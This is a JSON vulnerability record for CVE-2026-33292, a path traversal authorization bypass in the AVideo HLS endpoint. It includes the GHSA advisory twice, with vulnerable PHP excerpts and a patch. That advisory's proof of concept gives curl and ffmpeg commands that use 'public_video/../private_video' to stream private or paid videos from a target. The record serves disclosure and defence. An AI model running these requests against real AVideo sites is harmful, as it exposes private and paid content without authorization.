{"id":"CVE-2026-33292","aliases":["EUVD-2026-14315","GHSA-pw4v-x838-w5pg"],"status":"published","title":"AVideo has Authorization Bypass via Path Traversal in HLS Endpoint Allows Streaming Private/Paid Videos","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, the HLS streaming endpoint (`view/hls.php`) is vulnerable to a path traversal attack that allows an unauthenticated attacker to stream any private or paid video on the platform. The `videoDirectory` GET parameter is used in two divergent code paths — one for authorization (which truncates at the first `/` segment) and one for file access (which preserves `..` traversal sequences) — creating a split-oracle condition where authorization is checked against one video while content is served from another. Version 26.0 contains a fix for the issue.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00716,"percentile":0.54193,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-22"],"published":"2026-03-19T16:43:03Z","modified":"2026-10-28T02:30:56Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-pw4v-x838-w5pg","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/bc034066281085af00e64b0d7b81d8a025a928c4","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33292","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-pw4v-x838-w5pg"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33292.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33292","title":"AVideo has Authorization Bypass via Path Traversal in HLS Endpoint Allows Streaming Private/Paid Videos","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, the HLS streaming endpoint (`view/hls.php`) is vulnerable to a path traversal attack that allows an unauthenticated attacker to stream any private or paid video on the platform. The `videoDirectory` GET parameter is used in two divergent code paths — one for authorization (which truncates at the first `/` segment) and one for file access (which preserves `..` traversal sequences) — creating a split-oracle condition where authorization is checked against one video while content is served from another. Version 26.0 contains a fix for the issue.","status":"published","published":"2026-03-22T16:26:08.556Z","modified":"2026-03-23T16:04:06.517Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-14315","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, the HLS streaming endpoint (`view/hls.php`) is vulnerable to a path traversal attack that allows an unauthenticated attacker to stream any private or paid video on the platform. The `videoDirectory` GET parameter is used in two divergent code paths — one for authorization (which truncates at the first `/` segment) and one for file access (which preserves `..` traversal sequences) — creating a split-oracle condition where authorization is checked against one video while content is served from another. Version 26.0 contains a fix for the issue.","status":"published","published":"2026-03-22T16:26:08Z","modified":"2026-03-23T16:04:06Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T19:25:31.168902Z"}],"ghsa":[{"id":"GHSA-pw4v-x838-w5pg","title":"AVideo has an Authorization Bypass via Path Traversal in HLS Endpoint Allows Streaming Private/Paid Videos","description":"## Summary\n\nThe HLS streaming endpoint (`view/hls.php`) is vulnerable to a path traversal attack that allows an unauthenticated attacker to stream any private or paid video on the platform. The `videoDirectory` GET parameter is used in two divergent code paths — one for authorization (which truncates at the first `/` segment) and one for file access (which preserves `..` traversal sequences) — creating a split-oracle condition where authorization is checked against one video while content is served from another.\n\n## Details\n\nThe vulnerability is a split-oracle between the authorization lookup and the filesystem path construction. When `hls.php` receives a request, it processes `$_GET['videoDirectory']` through two independent functions that interpret the input differently.\n\n**Step 1 — Authorization lookup truncates at first path segment** (`objects/video.php:1685-1688`):\n\n```php\npublic static function getVideoFromFileName($fileName, $ignoreGroup = false, $ignoreTags = false)\n{\n    // ...\n    $parts = explode(\"/\", $fileName);\n    if (!empty($parts[0])) {\n        $fileName = $parts[0];  // Only takes first segment\n    }\n    $fileName = self::getCleanFilenameFromFile($fileName);\n    // ...\n    $sql = \"SELECT id FROM videos WHERE filename = ? LIMIT 1\";\n    $res = sqlDAL::readSql($sql, \"s\", [$fileName]);\n```\n\nFor input `public_video/../private_video`, `explode(\"/\", ...)` yields `[\"public_video\", \"..\", \"private_video\"]` and only `public_video` is used for the DB query. The authorization check at `hls.php:73` then runs against this public video:\n\n```php\nif (isAVideoUserAgent() || ... || User::canWatchVideo($video['id']) || ...) {\n```\n\n**Step 2 — File path construction preserves the traversal** (`objects/video.php:4622-4638`):\n\n```php\npublic static function getPathToFile($videoFilename, $createDir = false)\n{\n    $videosDir = self::getStoragePath();\n    $videoFilename = str_replace($videosDir, '', $videoFilename);\n    $paths = Video::getPaths($videoFilename, $createDir);\n    if (preg_match('/index(_offline)?.(m3u8|mp4|mp3)$/', $videoFilename)) {\n        $paths['path'] = rtrim($paths['path'], DIRECTORY_SEPARATOR);\n        $paths['path'] = rtrim($paths['path'], '/');\n        $videoFilename = str_replace($paths['relative'], '', $videoFilename);\n        $videoFilename = str_replace($paths['filename'], '', $videoFilename);\n    }\n    $newPath = addLastSlash($paths['path']) . \"{$videoFilename}\";\n    $newPath = str_replace('//', '/', $newPath);\n    return $newPath;\n}\n```\n\n`getPaths` extracts the clean filename (e.g., `public_video`) to build the base path `/videos/public_video/`. Then `str_replace($paths['filename'], '', $videoFilename)` replaces only the clean name from the full input, leaving the traversal intact: `/../private_video/index.m3u8`. The concatenation at line 4634 produces `/videos/public_video/../private_video/index.m3u8`, which the OS resolves to `/videos/private_video/index.m3u8`.\n\n**No mitigations exist in the path:**\n- `fixPath()` (`objects/functionsFile.php:1116`) only normalizes slashes, does not filter `..`\n- No `realpath()` call anywhere in the chain\n- No `..` filtering on the `videoDirectory` parameter\n- The traversal is in a query parameter, not the URL path, so web server path normalization does not apply\n\n## PoC\n\n**Prerequisites:** An AVideo instance with at least one public video (filename: `public_video`) and one private/paid video (filename: `private_video`).\n\n**Step 1 — Confirm the private video is inaccessible directly:**\n\n```bash\ncurl -s \"https://target.com/view/hls.php?videoDirectory=private_video\" \\\n  | head -5\n# Expected: \"HLS.php Can not see video [ID] (private_video) cannot watch (ID)\"\n```\n\n**Step 2 — Exploit the split-oracle to stream the private video:**\n\n```bash\ncurl -s \"https://target.com/view/hls.php?videoDirectory=public_video/../private_video\" \\\n  -H \"Accept: application/vnd.apple.mpegurl\"\n# Expected: Valid M3U8 playlist containing private_video's HLS segments\n```\n\n**Step 3 — Stream the private video content using the returned playlist:**\n\n```bash\n# The M3U8 response contains segment URLs; use ffmpeg or any HLS player:\nffmpeg -i \"https://target.com/view/hls.php?videoDirectory=public_video/../private_video\" \\\n  -c copy stolen_video.mp4\n```\n\nThe authorization check passes because it resolves `public_video` (the public video), while the file system serves `private_video`'s HLS stream.\n\n## Impact\n\n- **Any unauthenticated user** can stream any private, unlisted, or paid video on the platform by knowing or guessing its filename directory.\n- **Paid content bypass:** Monetized videos protected by pay-per-view or subscription gates can be streamed for free.\n- **Privacy violation:** Videos marked as private or restricted to specific user groups are fully accessible.\n- **Content theft at scale:** Video filenames follow predictable patterns (e.g., `video_YYYYMMDD_XXXXX`), enabling enumeration. An attacker only needs one publicly accessible video to pivot to any other video on the instance.\n- This affects all AVideo instances with at least one public video, which is the default configuration for any content platform.\n\n## Recommended Fix\n\nSanitize the `videoDirectory` parameter to reject path traversal sequences before any processing occurs. Apply this fix at the top of `view/hls.php`:\n\n```php\n// view/hls.php — after line 16, before line 17\nif (empty($_GET['videoDirectory'])) {\n    forbiddenPage(\"No directory set\");\n}\n\n// ADD: Reject path traversal attempts\n$_GET['videoDirectory'] = str_replace('\\\\', '/', $_GET['videoDirectory']);\nif (preg_match('/\\.\\./', $_GET['videoDirectory'])) {\n    forbiddenPage(\"Invalid directory\");\n}\n// Normalize: strip leading/trailing slashes, collapse multiples\n$_GET['videoDirectory'] = trim($_GET['videoDirectory'], '/');\n$_GET['videoDirectory'] = preg_replace('#/+#', '/', $_GET['videoDirectory']);\n```\n\nAdditionally, add a `realpath()` check in `getPathToFile` as defense-in-depth (`objects/video.php:4636`):\n\n```php\n$newPath = str_replace('//', '/', $newPath);\n// ADD: Verify resolved path stays within videos directory\n$realPath = realpath($newPath);\n$realVideosDir = realpath($videosDir);\nif ($realPath === false || strpos($realPath, $realVideosDir) !== 0) {\n    return false;\n}\nreturn $newPath;\n```","status":"published","published":"2026-03-19T16:43:03Z","modified":"2026-03-25T18:33:44Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:39:41.724707Z"}],"nvd":[{"id":"CVE-2026-33292","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, the HLS streaming endpoint (`view/hls.php`) is vulnerable to a path traversal attack that allows an unauthenticated attacker to stream any private or paid video on the platform. The `videoDirectory` GET parameter is used in two divergent code paths — one for authorization (which truncates at the first `/` segment) and one for file access (which preserves `..` traversal sequences) — creating a split-oracle condition where authorization is checked against one video while content is served from another. Version 26.0 contains a fix for the issue.","status":"published","published":"2026-03-22T17:17:08.753Z","modified":"2026-06-17T10:37:15.88Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33292","title":"AVideo has Authorization Bypass via Path Traversal in HLS Endpoint Allows Streaming Private/Paid Videos","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, the HLS streaming endpoint (`view/hls.php`) is vulnerable to a path traversal attack that allows an unauthenticated attacker to stream any private or paid video on the platform. The `videoDirectory` GET parameter is used in two divergent code paths — one for authorization (which truncates at the first `/` segment) and one for file access (which preserves `..` traversal sequences) — creating a split-oracle condition where authorization is checked against one video while content is served from another. Version 26.0 contains a fix for the issue.","status":"published","published":"2026-03-22T16:26:08.556Z","modified":"2026-10-28T02:30:56.070315313Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:01.548715Z"},{"id":"GHSA-pw4v-x838-w5pg","title":"AVideo has an Authorization Bypass via Path Traversal in HLS Endpoint Allows Streaming Private/Paid Videos","description":"## Summary\n\nThe HLS streaming endpoint (`view/hls.php`) is vulnerable to a path traversal attack that allows an unauthenticated attacker to stream any private or paid video on the platform. The `videoDirectory` GET parameter is used in two divergent code paths — one for authorization (which truncates at the first `/` segment) and one for file access (which preserves `..` traversal sequences) — creating a split-oracle condition where authorization is checked against one video while content is served from another.\n\n## Details\n\nThe vulnerability is a split-oracle between the authorization lookup and the filesystem path construction. When `hls.php` receives a request, it processes `$_GET['videoDirectory']` through two independent functions that interpret the input differently.\n\n**Step 1 — Authorization lookup truncates at first path segment** (`objects/video.php:1685-1688`):\n\n```php\npublic static function getVideoFromFileName($fileName, $ignoreGroup = false, $ignoreTags = false)\n{\n    // ...\n    $parts = explode(\"/\", $fileName);\n    if (!empty($parts[0])) {\n        $fileName = $parts[0];  // Only takes first segment\n    }\n    $fileName = self::getCleanFilenameFromFile($fileName);\n    // ...\n    $sql = \"SELECT id FROM videos WHERE filename = ? LIMIT 1\";\n    $res = sqlDAL::readSql($sql, \"s\", [$fileName]);\n```\n\nFor input `public_video/../private_video`, `explode(\"/\", ...)` yields `[\"public_video\", \"..\", \"private_video\"]` and only `public_video` is used for the DB query. The authorization check at `hls.php:73` then runs against this public video:\n\n```php\nif (isAVideoUserAgent() || ... || User::canWatchVideo($video['id']) || ...) {\n```\n\n**Step 2 — File path construction preserves the traversal** (`objects/video.php:4622-4638`):\n\n```php\npublic static function getPathToFile($videoFilename, $createDir = false)\n{\n    $videosDir = self::getStoragePath();\n    $videoFilename = str_replace($videosDir, '', $videoFilename);\n    $paths = Video::getPaths($videoFilename, $createDir);\n    if (preg_match('/index(_offline)?.(m3u8|mp4|mp3)$/', $videoFilename)) {\n        $paths['path'] = rtrim($paths['path'], DIRECTORY_SEPARATOR);\n        $paths['path'] = rtrim($paths['path'], '/');\n        $videoFilename = str_replace($paths['relative'], '', $videoFilename);\n        $videoFilename = str_replace($paths['filename'], '', $videoFilename);\n    }\n    $newPath = addLastSlash($paths['path']) . \"{$videoFilename}\";\n    $newPath = str_replace('//', '/', $newPath);\n    return $newPath;\n}\n```\n\n`getPaths` extracts the clean filename (e.g., `public_video`) to build the base path `/videos/public_video/`. Then `str_replace($paths['filename'], '', $videoFilename)` replaces only the clean name from the full input, leaving the traversal intact: `/../private_video/index.m3u8`. The concatenation at line 4634 produces `/videos/public_video/../private_video/index.m3u8`, which the OS resolves to `/videos/private_video/index.m3u8`.\n\n**No mitigations exist in the path:**\n- `fixPath()` (`objects/functionsFile.php:1116`) only normalizes slashes, does not filter `..`\n- No `realpath()` call anywhere in the chain\n- No `..` filtering on the `videoDirectory` parameter\n- The traversal is in a query parameter, not the URL path, so web server path normalization does not apply\n\n## PoC\n\n**Prerequisites:** An AVideo instance with at least one public video (filename: `public_video`) and one private/paid video (filename: `private_video`).\n\n**Step 1 — Confirm the private video is inaccessible directly:**\n\n```bash\ncurl -s \"https://target.com/view/hls.php?videoDirectory=private_video\" \\\n  | head -5\n# Expected: \"HLS.php Can not see video [ID] (private_video) cannot watch (ID)\"\n```\n\n**Step 2 — Exploit the split-oracle to stream the private video:**\n\n```bash\ncurl -s \"https://target.com/view/hls.php?videoDirectory=public_video/../private_video\" \\\n  -H \"Accept: application/vnd.apple.mpegurl\"\n# Expected: Valid M3U8 playlist containing private_video's HLS segments\n```\n\n**Step 3 — Stream the private video content using the returned playlist:**\n\n```bash\n# The M3U8 response contains segment URLs; use ffmpeg or any HLS player:\nffmpeg -i \"https://target.com/view/hls.php?videoDirectory=public_video/../private_video\" \\\n  -c copy stolen_video.mp4\n```\n\nThe authorization check passes because it resolves `public_video` (the public video), while the file system serves `private_video`'s HLS stream.\n\n## Impact\n\n- **Any unauthenticated user** can stream any private, unlisted, or paid video on the platform by knowing or guessing its filename directory.\n- **Paid content bypass:** Monetized videos protected by pay-per-view or subscription gates can be streamed for free.\n- **Privacy violation:** Videos marked as private or restricted to specific user groups are fully accessible.\n- **Content theft at scale:** Video filenames follow predictable patterns (e.g., `video_YYYYMMDD_XXXXX`), enabling enumeration. An attacker only needs one publicly accessible video to pivot to any other video on the instance.\n- This affects all AVideo instances with at least one public video, which is the default configuration for any content platform.\n\n## Recommended Fix\n\nSanitize the `videoDirectory` parameter to reject path traversal sequences before any processing occurs. Apply this fix at the top of `view/hls.php`:\n\n```php\n// view/hls.php — after line 16, before line 17\nif (empty($_GET['videoDirectory'])) {\n    forbiddenPage(\"No directory set\");\n}\n\n// ADD: Reject path traversal attempts\n$_GET['videoDirectory'] = str_replace('\\\\', '/', $_GET['videoDirectory']);\nif (preg_match('/\\.\\./', $_GET['videoDirectory'])) {\n    forbiddenPage(\"Invalid directory\");\n}\n// Normalize: strip leading/trailing slashes, collapse multiples\n$_GET['videoDirectory'] = trim($_GET['videoDirectory'], '/');\n$_GET['videoDirectory'] = preg_replace('#/+#', '/', $_GET['videoDirectory']);\n```\n\nAdditionally, add a `realpath()` check in `getPathToFile` as defense-in-depth (`objects/video.php:4636`):\n\n```php\n$newPath = str_replace('//', '/', $newPath);\n// ADD: Verify resolved path stays within videos directory\n$realPath = realpath($newPath);\n$realVideosDir = realpath($videosDir);\nif ($realPath === false || strpos($realPath, $realVideosDir) !== 0) {\n    return false;\n}\nreturn $newPath;\n```","status":"published","published":"2026-03-19T16:43:03Z","modified":"2026-03-25T19:47:32.887413Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:53.700556Z"}]}}
